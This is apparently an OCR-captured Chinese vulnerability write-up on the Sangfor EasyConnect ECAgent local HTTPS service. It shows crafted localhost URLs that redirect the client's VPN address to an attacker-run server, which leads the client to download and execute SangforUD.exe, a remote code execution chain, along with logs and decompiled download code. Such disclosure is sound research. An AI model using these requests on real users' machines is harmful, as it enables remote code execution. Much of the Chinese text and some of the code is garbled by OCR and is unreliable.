8 | https://127.0.0.1:54530/?0p=DoConfigure&arg=123
9 | https://127.0.0.1:54530/?0p=GetConfig&arg=123

10 | https://127.0.0.1:54530/?0p=InitECAgent&arg=123
11 | https://127.0.0.1:54530/?0p=GetEncryptKey&arg=123

CheckRelogin, ZNINEIIRT invalid param count , NIIEFIAIRT:



O ([ https//127.0.0.1:54530/20p=Che X |

& @) ) https://127.0.0.1:54530/?0p=CheckRelogin 8

("{\"type\”:\"CheckRelogin\", \"result\”:\"0\", \"data\": {}, \"message\”:\"\"”, \"debug\”:\"invalid param
count\”, \"version\”:1, \"dataType\”:\"raw\”, \"encrypt\”:\"none\"}”) ;

O [ https//127.00.1:54530/20p=Che X | +

< @] () https://127.0.0.1:54530/?0p=CheckRelogin&arg=123

("{\”type\”:\”CheckRelogin\”, \"result\”:\"1\”, \"data\":\" {}\”, \"message\”:\"\”, \"debug\”:\"\”, \"version\”:1, \"dataType\”:\"raw\”, \"encrypt\”:\"none\”}”) ;

DoConfigure, RIIBNREIANZT, RINEREIEARAS:

O [ httpsy//127.0.0.1:54530/20p=Do’ X | -

& @ () https://127.0.0.1:54530/?0p=DoConfigure

|

& @ () https://127.0.0.1:54530/?0p=DoConfigure&arg=123

"

0 (O https//127.00.1:54530/20p=Do’ X | -+

("{\"type\”:\"DoConfigure\”, \"result\”:\"0\", \"data\":\" {}\”, \"message\":\"\", \"debug\”:\"\”, \"version\":1, \"dataType\”:\"raw\”, \"encrypt\”:\"none\"}”) ;

GetConfig, RIMBIREIEARAE, ARIMEREIANZT:

i D https://127.0.0.1:54530/?0p=Ge! X | -

& @ () https:;//127.0.0.1:54530/?0p=GetConfig

("{\"type\”:\"GetConfig\”, \"result\”:\"10016\", \"data\": {}, \"message\”:\"\", \"debug\”:\"\", \"version\":1, \"dataType\”:\"raw\”, \“encrypt\”:\ none\"} ") ;

O (Y https//127.0.0.1:54530/20p=Ge ¥V x | |

&~ > O () https://127.0.0.1:54530/?0p=GetConfig&arg=123

).

InitECAgent, JRIMBIIREIANZT, HRIMEREERANE, HiB/R CSCM_EXIST, init ok

i) https://127.0.0.1:54530/20p=Init. X | =

& @] &) https://127.0.0.1:54530/?0p=InitECAgent

")

D @ https://127.0.0.1:54530/?0p=Init X +

&~ > O ) https://127.0.0.1:54530/?0p=InitECAgent&arg=123

("{\"type\”:\"InitECAgent\”, \"result\”:\"1\”, \"data\":\" {}\”, \"message\”:\"\”, \"debug\”:\"CSCM_EXIST, init ok\”, \"version\”:1,\”dataType\”:\"raw\”, \"encrypt\”:\"none\"}”) ;



GetEncryptKey, RNINBIEREIRNSZE T :

< C () https://127.0.0.1:54530/20p=GetEncryptKey o & Y8 v= 53
-
\"type\”:\ GetEncryptKey\ result\”:\"A6C489BAS393C08B019FIBCADOBOSCYS 13EE395 1DBSC274C37D858D1CAI3BSFD6 1CC32ECCOD830729FD4241BE6 TDF3 13EB5025A6392073A5B7034B0B1DI0TCCST38FCOA611A31BI64ASAT28FC295BBCOT3433640F 7 4 5FA031AA6561CBF0C46C6100458B3D5C5
2E09AFF4027DC455CD29D( “\", \"debug\":\"\"}");

<« C @ https//127.0.0.1:54530/20p=GetEncryptKey&iarg=123 l s U= @

I
{\"type\”:\"GetEncryptKey\”, \"resul t\”: \"A6C489BA8393C08B019FIBCADOBOSCY513EE395 1DBSC274C37D858D1CA93BSFD61CCI2ECCODS30729FD424 1BE6TDF313EB502546392073A5B7034B0B1D907CCS758FC0A6 1 1A31BIG4ASAT28FC295BBCO73433640F 7B3B402326644EEDFOFT06640A98EF5FA031A4656 1CBFOC46C6100458B3D5C5
2E09AFF4027DC455CD29D023\ ", \ "message\”: \"\", \"debug\":\"\"} ") ;

RIEXILE, arg WELATBAMERSHEBKR, BAREHAEX, EFEXBMESII, HTFHK
FHER, ERIEFSAEREEIRSIR, MURESSHXERERE, At ZzEFz%ELogH
==

18N o

if ( !strstr(v4, " check alive ") && dword 6E240C )

{
v5 = (const char *)sub _4523F0(v28);

dword 6E240C(2, "[INFO] querystr %s", v5);
¥

?%Eﬁ%ﬁj{{qujfﬁ-TﬁLogﬁdfF, R C:\Users\chen\AppData\Roaming\XXX\SSL\Log FikE T
W EE:

— ECAgent.exe.log

— I CsClient.exe.log

| EasyConnect.exe.log

IR Ecagent.exe.log HEBRIEFEK A UAE LIZFAIEHZEE:



[ECAgent.exe:6488:980][INFO] querystr op=CheckRelogin&arg=123
[ECAgent.exe:6488:980][ERROR] [hex2bin]invalid input.
[ECAgent.exe:6488:980][ERROR] [decrypt twfid]invalid input.
[ECAgent.exe:6488:980][INFO][DeliverWebCmd:165] begin, OP = CheckRelogin
[ECAgent.exe:6488:980][INFO][DeliverWebCmd:225] complete, OP = CheckRelogin
[ECAgent.exe:6488:9164][INFO] querystr op=DoConfigure
[ECAgent.exe:6488:4316][INFO] querystr op=DoConfigure&arg=123
[ECAgent.exe:6488:4316][INFO][DeliverWebCmd:165] begin, OP = DoConfigure
[ECAgent.exe:6488:4316][INFO][DeliverWebCmd:225] complete, OP = DoConfigure
[ECAgent.exe:6488:664][INFO] querystr op=GetConfig&arg=123
[ECAgent.exe:6488:664][INFO] fetch config 123

[ECAgent.exe:6488:664][INFO] querystr op=GetConfig

[ECAgent.exe:6488:664][INFO] fetch_config : invalid param
[ECAgent.exe:6488:1088][INFO] querystr op=InitECAgent&arg=123
[ECAgent.exe:6488:1088][INFO] init ecagent set vpn address: https://123
[ECAgent.exe:6488:1088][INFO] set_proxy info, empty proxy info, return
[ECAgent.exe:6488:1088][INFO][DeliverWebCmd:165] begin, OP = InitECAgent
[ECAgent.exe:6488:1088][INFO][OP _InitECBase:1119] ECBase InitCSClientManagerDLL
[ECAgent.exe:6488:9120][INFO][CSClientManager.cpp:8807] SetLogFunction addr:72EDA4A0
[ECAgent.exe:6488:9120][INFO][CSClientManager.cpp:8856] change shared memory for client type, the client type is
[ECAgent.exe:6488:1088][INFO][setClientType:3026] set client type() success.
[ECAgent.exe:6488:1088][INFO][OP _InitECBase:1162] g ServerAddr=123
[ECAgent.exe:6488:1088][INFO][DeliverWebCmd:225] complete, OP = InitECAgent
[ECAgent.exe:6488:920][INFO] querystr op=InitECAgent
[ECAgent.exe:6488:920][INFO] invalid init param

1. CheckRelogin¥fargZS#i#1T 7 R % ;
2. GetConfigtRiEargZ#UH TIZNECE
3. InitECAgentiRiEargSERELE T VPNitblit (HTTPS) .

CheckReloginf# 8 IE 4734 K& GetEncryptkeyMIEEIMAEE R, FREXBAHREASTRINLE
WEBT—#T, MNEXBRGREHNE:

[ECAgent.exe:5880:6464][INFO] querystr op=CheckRelogin&arg=A6C489BA8393C08B019F9BCADOB08CI9513EE3951DB8C274C37D858D1CA93B
[ECAgent.exe:5880:6464][ERROR] decrypt session failed. err : 67522692

[ECAgent.exe:5880:6464][INFO][DeliverWebCmd:165] begin, OP = CheckRelogin

[ECAgent.exe:5880:6464][INFO][DeliverWebCmd:225] complete, OP = CheckRelogin

BREXRBREVPNE P iRAIARSS ML, SE KA Tl ARS8t @I AINL2E:
https://127.0.0.1:54530/?0p=InitECAgent&arg=172.20.10.3

fElEETEREM op SEERNMbIL, BARBKRIVEKU THILL (GetConfighargS £ N0 F1F
&) ¢

https://127.0.0.1:54530/?0p=GetConfig&arg=abc

VPNEFIGEEIEXK https://172.20.10.3/com/WindowsModule.xml , 0 FEFATIEEFimia KR



FiHMHTTPHE:

python HTTPSServer.py

"GET /com/WindowsModule.xml HTTP/1.1" 200

#F B SB1ZXERXMLE N FE N JSONE G

<& C @ https//127.0.0.1:54530/70p=GetConfigarg=abc s v=

(" 1\"type\”:\"GetConfig\”, \"Tesult\":\" 1", \"data\": {\"Modules\": {\"Module\":

HthzhiE

RRIEEZENKR, BARTNTIEENRSSHFEE, NixshE L&
TRKAIDARRETH, KM T —ERFH&H:

i

LM AYIRIE, BIGIEFT. T,

Address Length Type String

‘s’ . rdata: 0+ 0000000C C InitECAgen t
¥ . rdata:0:-* 0000016F C e

v23 = "_ check_alive__|GetEncryptKey|DoConfigure#SET LANG|DoQueryService#QUERY
LANG | InitECAgent|CheckRelogin|Logout|CheckMITMAttack|SelectLines|DetectECAgent|Che
ckProxySetting|UpdateControls#BEFORELOGIN |DoQueryService#QUERY CONTROLS
UPDATEPROCESS|DOQuePySePVice#QUERY DKEY_DETECTIDoQuePyService#QUERY

LOGINSTATUS |OpenBrowser |StartEasyConnect |DoQueryService#QUERY NEEDUPDATE"

ZFHEPF S ZAIRMNBFEED, SREARZZIELIN, FRET-TRERIINF

23 At

N

DoConfigure#SET LANG
DoQueryService#QUERY LANG

Logout

CheckMITMAttack

SelectlLines

CheckProxySetting
UpdateControls#BEFORELOGIN
DoQueryService#QUERY CONTROLS UPDATEPROCESS
DoQueryService#QUERY DKEY DETECT
DoQueryService#QUERY LOGINSTATUS
OpenBrowser

StartEasyConnect
DoQueryService#QUERY NEEDUPDATE

RIFIENERXEFRFEZEEBE—T # 5, BIUl poconfigure , REBIHANENZEEIRBEEERFER



rl]]ﬂ

By, LCAAEERT —1 # S+ seT LANG , RIBFESEE—NEER T XAIgERIREIES, B
MigE? S 7 —T, JH:L_JL,{H?L_ arg 8, IRBFEEE seT LANG ZENIZTAEEF S
B, FRLABERSEER Y SET LANG 123 , IEEIRBFE=ELIES DoQueryService#QUERY LANG
Al IAE IR

B (9 https//127.0.0.1:54530/20p=Do¢ X |

nttps: .0.0.1: ?op=DoConfigure&arg o o
& G | //127.0.0.1:54530/7 DoConfi & SET%20LANG%20123

{\"type\”:\"DoConfigure\”, \"result\”:\"1\”, \"data\":\”
\”, \"message\":\"\", \"debug\":\"\", \"version\":1, \"dataType\":\"raw\”, \"encrypt\”:\"none\"} ") ;

(
{}
0 (3 https//127.0.0.1:54530/20p=Do’ X | =+ - 0 X

<& () https://127.0.0.1:54530/?0p=DoQueryService&arg=QUERY%20LANG 76 =
© &3]

%

{\"type\”:\"LANG\”, \"result\”:\"1\",\"data\":\"123\[, \"message\”:\"\”, \"debug\”:\"\”, \"version\":1, \"dataType\”:\"raw\”, \"encrypt\”:\"none\”}”

)

B, BEZBINAINFLRIMITUNAEREVPNARS IPHLE, EIPZ/EHNLEE{t A B & 18 Ein
Mn:

=t

https://127.0.0.1:54530/?0p=InitECAgent&arg=172.20.10.3 443

ifF2 & (RCE)

ZERBHHEFX OB UpdateControls#BEFORELOGIN , HFHIEBMEEEMRIHITEF, BARME
B THAR? HEIXIBERUW TURLHAEE S FEMEEE (FEJ15KInitECAgent)

https://127.0.0.1:54530/?0op=UpdateControls&arg=BEFORELOGIN

FEHTTPARSS im A IHRIWEI TiEK B, AIMEREFPHIEKR TRZ TR, HUPOSTERNIE
T /com/win/XXXUD.exe M f4:

code 404, message File not found
"POST /por/login_auth.csp?type=cs&cli=ssl&language=en_US&rnd=4709140&encrypt=1&newauth=2 HTTP/1.1" 404 -

code 404, message File not found
"GET /com/WindowsModule.xml HTTP/1.1" 404 -
"POST /com/win/ UD.exe HTTP/1.1" 200 -

ZNMINAME S EEDN FEIZEXERFBRIEXXXUD.exeX 4, #HERITHIF:

else

{

ctrnenul(1nFilaNama I "CA\NWTNDNOWR\ N Teamn\ \ QRanocfarlin ava" I avi102u) -



Cer ey NS e ieane WL~ \ \svaivvas il gy 7

}

}

else

{
CloseHandle(hObject);
hObject = 0;
DeleteFileA(lpFileName);

}

vl8 = atoi(v26 + 272);

V9 strlen(v2e + 144);

v6 = strlen(v26 + 336);

if ( !sub_10622970(v18, (char *)v26 + 336, vb, (int)(v26 + 144), v9) )
return 0;

v17 = sub_10021350(-1, lpFileName, "/com/win/SangforUD.exe", O, 0)j
v = sub_ vl/, Ox u); |

_DWORD *__cdecl sub_10021350(int al, int‘pz, int a3, int a4, int a5)
{

_DWORD *v6; // eax

_DWORD *v7; // eax

_DWORD *v8; // [esp+56h] [ebp-3Ch]
void *v9; // [esp+64h] [ebp-28h]
uintptr_t v10; // [esp+74h] [ebp-18h]
int v11; // [esp+80h] [ebp-Ch] BYREF
int v12; // [esp+84h] [ebp-8h] BYREF
int v13; // [esp+88h] [ebp-4h] BYREF

if (al == -1 && a2 || a3 )
return 0;

vi3 = 0;

vli2 = 9;

vil =_0;

if _Csub 10021800 (a5, &/13, &1, &v11) )

.nt _ cdecl sub_100218A0(const CHAR *lpSZOHjectName, H%NTERNET *a2, HINTERNET *a3, HINTERNET *a4)

_DWORD *v4; // eax

_DWORD *vé6; // eax

_DWORD *v7; // eax

_DWORD *v8; // eax

char *v9; // eax

DWORD v10; // [esp-4h] [ebp-94h]

DWORD LastError; // [esp-4h] [ebp-94h]
char *v12; // [esp-4h] [ebp-94h]

int v13; // [esp+7Ch] [ebp-14h] BYREF
int v14; // [esp+80h] [ebp-16h]

LPCSTR lpszAcceptTypes[2]; // [esp+84h] [ebp-Ch] BYREF
int Buffer; // [esp+8Ch] [ebp-4h] BYREF

if ( lpszObjectName )

{

if ( pszFirst )

{
*a2 = 0;
*a3 = 0,
*ad = Q;
*a2 = InternetOpenA("Sangforcs”, o, 0, 0, 0);
if ( *a2 )
{

Buffer = 120000;

InternetSetOptionA(*a2, 2u, &Buffer, 4u);

InternetSetOptionA(*a2, 5u, &Buffer, 4u);

InternetSetOptionA(*a2, 7u, &Buffer, 4u);

InternetSetOptionA(*a2, 6u, &Buffer, 4u);

*a3 = InternetConnectA(*a2. &bszFirst. nServerPort. &szPassword. &szPassword. 3u. ©. 0):



if ( *a3 )

{
lpszAcceptTypes[1] = (LPCSTR)-2067787776;
lpszAcceptTypes[O] = 0;
*a4 = HttpOpenRequestA(*a3, "POST", lpszObjectName, ©, ©, lpszAcceptTypes, ©x84C01000, 0);
if ( *a4 )
{
v1i4 = sub_100231F0();
vli3 = 0;
if ( sub_10023260(&pszFirst, (int)"http=", (int)&v13) == 1 && !vi3 )
{

v12 = (char *)sub_10008410(v14);
v9 = (char *)sub_100083F0(v14);
sub_10021820(*a4, vo, v12);
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